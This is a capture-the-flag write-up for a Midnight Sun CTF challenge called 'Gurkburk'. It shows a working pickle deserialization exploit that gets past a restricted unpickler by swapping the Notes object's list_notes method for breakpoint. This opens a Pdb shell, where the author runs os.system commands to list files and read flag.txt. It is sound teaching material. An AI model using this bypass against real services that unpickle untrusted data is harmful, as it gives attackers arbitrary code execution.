Gurkburk [Misc]

Gurkburk

The flag is located in ./flag.txt.

  • Service: nc gurkburk-01.play.midnightsunctf.se 37541

Recon

We can netcat to a service and it will give a menu. We can:

  • Create "Notes"
  • Save "Notes"
  • Load "Notes"

The saving/loading of notes is done via pickled Python objects. This most certainly makes it vulnerable to deserialization exploits, however, the challenge author has subclassed the unpickle class which checks if you're not doing nasty things like importing arbitrary modules.

As Python is a dynamic language we can still find our ways around this.

For example, we know that the Notes object is in scope (from observing the the pickled data) and we can call setattr on this Notes object and, for example, overwrite it's member function list_notes to something else, let's say breakpoint.

breakpoint in Python 3 is interesting because it stops the current execution and drops you into a Pdb shell.

Solution

#!/usr/bin/env python
import pickle
import copy_reg 
import base64

class Notes(object):
    def __init__(self, name, notes):
        self.name = name
        self.notes = notes

    def __setstate__(self, state):
        self.__dict__ = state


x = Notes('blah', ['test'])
x.list_notes = __builtins__.input
xz = pickle.dumps(x)
xz = xz.replace('input', 'breakpoint')
print(base64.b64encode(xz))

We submit our string to the loading mechanism of the notes, and when we try to display the notes (internally it will call list_notes(), which we monkey patched), we'll get dropped into a Pdb shell, from which we can execute arbitrary Python code without restrictions.

==> d
> /home/ctf/challenge.py(84)main()
-> continue
(Pdb) import os
(Pdb) !print(os.system('ls'))
chall
challenge.py
flag.txt
redir.sh
0
(Pdb) !print(os.system('cat flag.txt'))
midnight{d311c10u5_p1ck135_f0r_3v3ry0n3}

Flag

midnight{d311c10u5_p1ck135_f0r_3v3ry0n3}